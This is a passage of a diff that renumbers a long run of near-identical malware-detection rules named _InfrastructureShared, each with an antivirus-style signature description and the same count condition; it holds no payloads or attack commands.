"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6570,7 +6623,7 @@ rule _InfrastructureShared_592{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_593{ +rule _InfrastructureShared_596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6580,7 +6633,7 @@ rule _InfrastructureShared_593{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_594{ +rule _InfrastructureShared_597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6590,7 +6643,7 @@ rule _InfrastructureShared_594{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_595{ +rule _InfrastructureShared_598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6600,7 +6653,7 @@ rule _InfrastructureShared_595{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_596{ +rule _InfrastructureShared_599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6610,7 +6663,7 @@ rule _InfrastructureShared_596{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_597{ +rule _InfrastructureShared_600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6620,7 +6673,7 @@ rule _InfrastructureShared_597{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_598{ +rule _InfrastructureShared_601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6630,7 +6683,7 @@ rule _InfrastructureShared_598{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_599{ +rule _InfrastructureShared_602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6640,7 +6693,7 @@ rule _InfrastructureShared_599{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_600{ +rule _InfrastructureShared_603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6650,7 +6703,7 @@ rule _InfrastructureShared_600{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_601{ +rule _InfrastructureShared_604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6660,7 +6713,7 @@ rule _InfrastructureShared_601{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_602{ +rule _InfrastructureShared_605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6670,7 +6723,7 @@ rule _InfrastructureShared_602{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_603{ +rule _InfrastructureShared_606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6680,7 +6733,7 @@ rule _InfrastructureShared_603{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_604{ +rule _InfrastructureShared_607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6690,7 +6743,7 @@ rule _InfrastructureShared_604{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_605{ +rule _InfrastructureShared_608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6700,7 +6753,7 @@ rule _InfrastructureShared_605{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_606{ +rule _InfrastructureShared_609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6710,7 +6763,7 @@ rule _InfrastructureShared_606{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_607{ +rule _InfrastructureShared_610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6720,7 +6773,7 @@ rule _InfrastructureShared_607{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_608{ +rule _InfrastructureShared_611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6730,7 +6783,7 @@ rule _InfrastructureShared_608{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_609{ +rule _InfrastructureShared_612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6740,7 +6793,7 @@ rule _InfrastructureShared_609{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_610{ +rule _InfrastructureShared_613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6750,7 +6803,7 @@ rule _InfrastructureShared_610{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_611{ +rule _InfrastructureShared_614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6760,7 +6813,7 @@ rule _InfrastructureShared_611{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_612{ +rule _InfrastructureShared_615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6770,7 +6823,7 @@ rule _InfrastructureShared_612{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_613{ +rule _InfrastructureShared_616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6780,7 +6833,7 @@ rule _InfrastructureShared_613{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_614{ +rule _InfrastructureShared_617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6790,7 +6843,7 @@ rule _InfrastructureShared_614{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_615{ +rule _InfrastructureShared_618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6800,7 +6853,7 @@ rule _InfrastructureShared_615{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_616{ +rule _InfrastructureShared_619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6810,7 +6863,7 @@ rule _InfrastructureShared_616{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_617{ +rule _InfrastructureShared_620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6820,7 +6873,7 @@ rule _InfrastructureShared_617{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_618{ +rule _InfrastructureShared_621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6830,7 +6883,7 @@ rule _InfrastructureShared_618{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_619{ +rule _InfrastructureShared_622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6840,7 +6893,7 @@ rule _InfrastructureShared_619{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_620{ +rule _InfrastructureShared_623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6850,7 +6903,7 @@ rule _InfrastructureShared_620{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_621{ +rule _InfrastructureShared_624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6860,7 +6913,7 @@ rule _InfrastructureShared_621{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_622{ +rule _InfrastructureShared_625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6870,7 +6923,7 @@ rule _InfrastructureShared_622{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_623{ +rule _InfrastructureShared_626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6880,7 +6933,7 @@ rule _InfrastructureShared_623{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_624{ +rule _InfrastructureShared_627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6890,7 +6943,7 @@ rule _InfrastructureShared_624{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_625{ +rule _InfrastructureShared_628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6900,7 +6953,7 @@ rule _InfrastructureShared_625{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_626{ +rule _InfrastructureShared_629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6910,7 +6963,7 @@ rule _InfrastructureShared_626{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_627{ +rule _InfrastructureShared_630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6920,7 +6973,7 @@ rule _InfrastructureShared_627{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_628{ +rule _InfrastructureShared_631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6930,7 +6983,7 @@ rule _InfrastructureShared_628{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_629{ +rule _InfrastructureShared_632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6940,7 +6993,7 @@ rule _InfrastructureShared_629{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_630{ +rule _InfrastructureShared_633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6950,7 +7003,7 @@ rule _InfrastructureShared_630{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_631{ +rule _InfrastructureShared_634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6960,7 +7013,7 @@ rule _InfrastructureShared_631{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_632{ +rule _InfrastructureShared_635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6970,7 +7023,7 @@ rule _InfrastructureShared_632{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_633{ +rule _InfrastructureShared_636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6980,7 +7033,7 @@ rule _InfrastructureShared_633{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_634{ +rule _InfrastructureShared_637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -6990,7 +7043,7 @@ rule _InfrastructureShared_634{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_635{ +rule _InfrastructureShared_638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7000,7 +7053,7 @@ rule _InfrastructureShared_635{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_636{ +rule _InfrastructureShared_639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7010,7 +7063,7 @@ rule _InfrastructureShared_636{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_637{ +rule _InfrastructureShared_640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7020,7 +7073,7 @@ rule _InfrastructureShared_637{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_638{ +rule _InfrastructureShared_641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7030,7 +7083,7 @@ rule _InfrastructureShared_638{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_639{ +rule _InfrastructureShared_642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7040,7 +7093,7 @@ rule _InfrastructureShared_639{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_640{ +rule _InfrastructureShared_643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7050,7 +7103,7 @@ rule _InfrastructureShared_640{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_641{ +rule _InfrastructureShared_644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7060,7 +7113,7 @@ rule _InfrastructureShared_641{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_642{ +rule _InfrastructureShared_645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7070,7 +7123,7 @@ rule _InfrastructureShared_642{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_643{ +rule _InfrastructureShared_646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7080,7 +7133,7 @@ rule _InfrastructureShared_643{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_644{ +rule _InfrastructureShared_647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7090,7 +7143,7 @@ rule _InfrastructureShared_644{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_645{ +rule _InfrastructureShared_648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7100,7 +7153,7 @@ rule _InfrastructureShared_645{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_646{ +rule _InfrastructureShared_649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7110,7 +7163,7 @@ rule _InfrastructureShared_646{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_647{ +rule _InfrastructureShared_650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7120,7 +7173,7 @@ rule _InfrastructureShared_647{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_648{ +rule _InfrastructureShared_651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7130,7 +7183,7 @@ rule _InfrastructureShared_648{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_649{ +rule _InfrastructureShared_652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7140,7 +7193,7 @@ rule _InfrastructureShared_649{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_650{ +rule _InfrastructureShared_653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7150,7 +7203,7 @@ rule _InfrastructureShared_650{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_651{ +rule _InfrastructureShared_654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7160,7 +7213,7 @@ rule _InfrastructureShared_651{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_652{ +rule _InfrastructureShared_655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7170,7 +7223,7 @@ rule _InfrastructureShared_652{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_653{ +rule _InfrastructureShared_656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7180,7 +7233,7 @@ rule _InfrastructureShared_653{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_654{ +rule _InfrastructureShared_657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7190,7 +7243,7 @@ rule _InfrastructureShared_654{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_655{ +rule _InfrastructureShared_658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7200,7 +7253,7 @@ rule _InfrastructureShared_655{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_656{ +rule _InfrastructureShared_659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7210,7 +7263,7 @@ rule _InfrastructureShared_656{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_657{ +rule _InfrastructureShared_660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7220,7 +7273,7 @@ rule _InfrastructureShared_657{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_658{ +rule _InfrastructureShared_661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7230,7 +7283,7 @@ rule _InfrastructureShared_658{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_659{ +rule _InfrastructureShared_662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7240,7 +7293,7 @@ rule _InfrastructureShared_659{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_660{ +rule _InfrastructureShared_663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7250,7 +7303,7 @@ rule _InfrastructureShared_660{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_661{ +rule _InfrastructureShared_664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7260,7 +7313,7 @@ rule _InfrastructureShared_661{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_662{ +rule _InfrastructureShared_665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7270,7 +7323,7 @@ rule _InfrastructureShared_662{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_663{ +rule _InfrastructureShared_666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7280,7 +7333,7 @@ rule _InfrastructureShared_663{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_664{ +rule _InfrastructureShared_667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7290,7 +7343,7 @@ rule _InfrastructureShared_664{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_665{ +rule _InfrastructureShared_668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7300,7 +7353,7 @@ rule _InfrastructureShared_665{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_666{ +rule _InfrastructureShared_669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7310,7 +7363,7 @@ rule _InfrastructureShared_666{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_667{ +rule _InfrastructureShared_670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7320,7 +7373,7 @@ rule _InfrastructureShared_667{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_668{ +rule _InfrastructureShared_671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7330,7 +7383,7 @@ rule _InfrastructureShared_668{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_669{ +rule _InfrastructureShared_672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7340,7 +7393,7 @@ rule _InfrastructureShared_669{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_670{ +rule _InfrastructureShared_673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7350,7 +7403,7 @@ rule _InfrastructureShared_670{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_671{ +rule _InfrastructureShared_674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7360,7 +7413,7 @@ rule _InfrastructureShared_671{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_672{ +rule _InfrastructureShared_675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7370,7 +7423,7 @@ rule _InfrastructureShared_672{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_673{ +rule _InfrastructureShared_676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7380,7 +7433,7 @@ rule _InfrastructureShared_673{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_674{ +rule _InfrastructureShared_677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7390,7 +7443,7 @@ rule _InfrastructureShared_674{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_675{ +rule _InfrastructureShared_678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7400,7 +7453,7 @@ rule _InfrastructureShared_675{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_676{ +rule _InfrastructureShared_679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7410,7 +7463,7 @@ rule _InfrastructureShared_676{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_677{ +rule _InfrastructureShared_680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7420,7 +7473,7 @@ rule _InfrastructureShared_677{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_678{ +rule _InfrastructureShared_681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7430,7 +7483,7 @@ rule _InfrastructureShared_678{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_679{ +rule _InfrastructureShared_682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7440,7 +7493,7 @@ rule _InfrastructureShared_679{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_680{ +rule _InfrastructureShared_683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7450,7 +7503,7 @@ rule _InfrastructureShared_680{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_681{ +rule _InfrastructureShared_684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7460,7 +7513,7 @@ rule _InfrastructureShared_681{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_682{ +rule _InfrastructureShared_685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7470,7 +7523,7 @@ rule _InfrastructureShared_682{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_683{ +rule _InfrastructureShared_686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7480,7 +7533,7 @@ rule _InfrastructureShared_683{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_684{ +rule _InfrastructureShared_687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7490,7 +7543,7 @@ rule _InfrastructureShared_684{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_685{ +rule _InfrastructureShared_688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7500,7 +7553,7 @@ rule _InfrastructureShared_685{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_686{ +rule _InfrastructureShared_689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7510,7 +7563,7 @@ rule _InfrastructureShared_686{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_687{ +rule _InfrastructureShared_690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7520,7 +7573,7 @@ rule _InfrastructureShared_687{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_688{ +rule _InfrastructureShared_691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7530,7 +7583,7 @@ rule _InfrastructureShared_688{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_689{ +rule _InfrastructureShared_692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7540,7 +7593,7 @@ rule _InfrastructureShared_689{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_690{ +rule _InfrastructureShared_693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7550,7 +7603,7 @@ rule _InfrastructureShared_690{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_691{ +rule _InfrastructureShared_694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7560,7 +7613,7 @@ rule _InfrastructureShared_691{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_692{ +rule _InfrastructureShared_695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7570,7 +7623,7 @@ rule _InfrastructureShared_692{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_693{ +rule _InfrastructureShared_696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7580,7 +7633,7 @@ rule _InfrastructureShared_693{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_694{ +rule _InfrastructureShared_697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7590,7 +7643,7 @@ rule _InfrastructureShared_694{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_695{ +rule _InfrastructureShared_698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7600,7 +7653,7 @@ rule _InfrastructureShared_695{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_696{ +rule _InfrastructureShared_699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7610,7 +7663,7 @@ rule _InfrastructureShared_696{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_697{ +rule _InfrastructureShared_700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -7620,7 +7673,7 @@ rule _InfrastructureShared_697{ 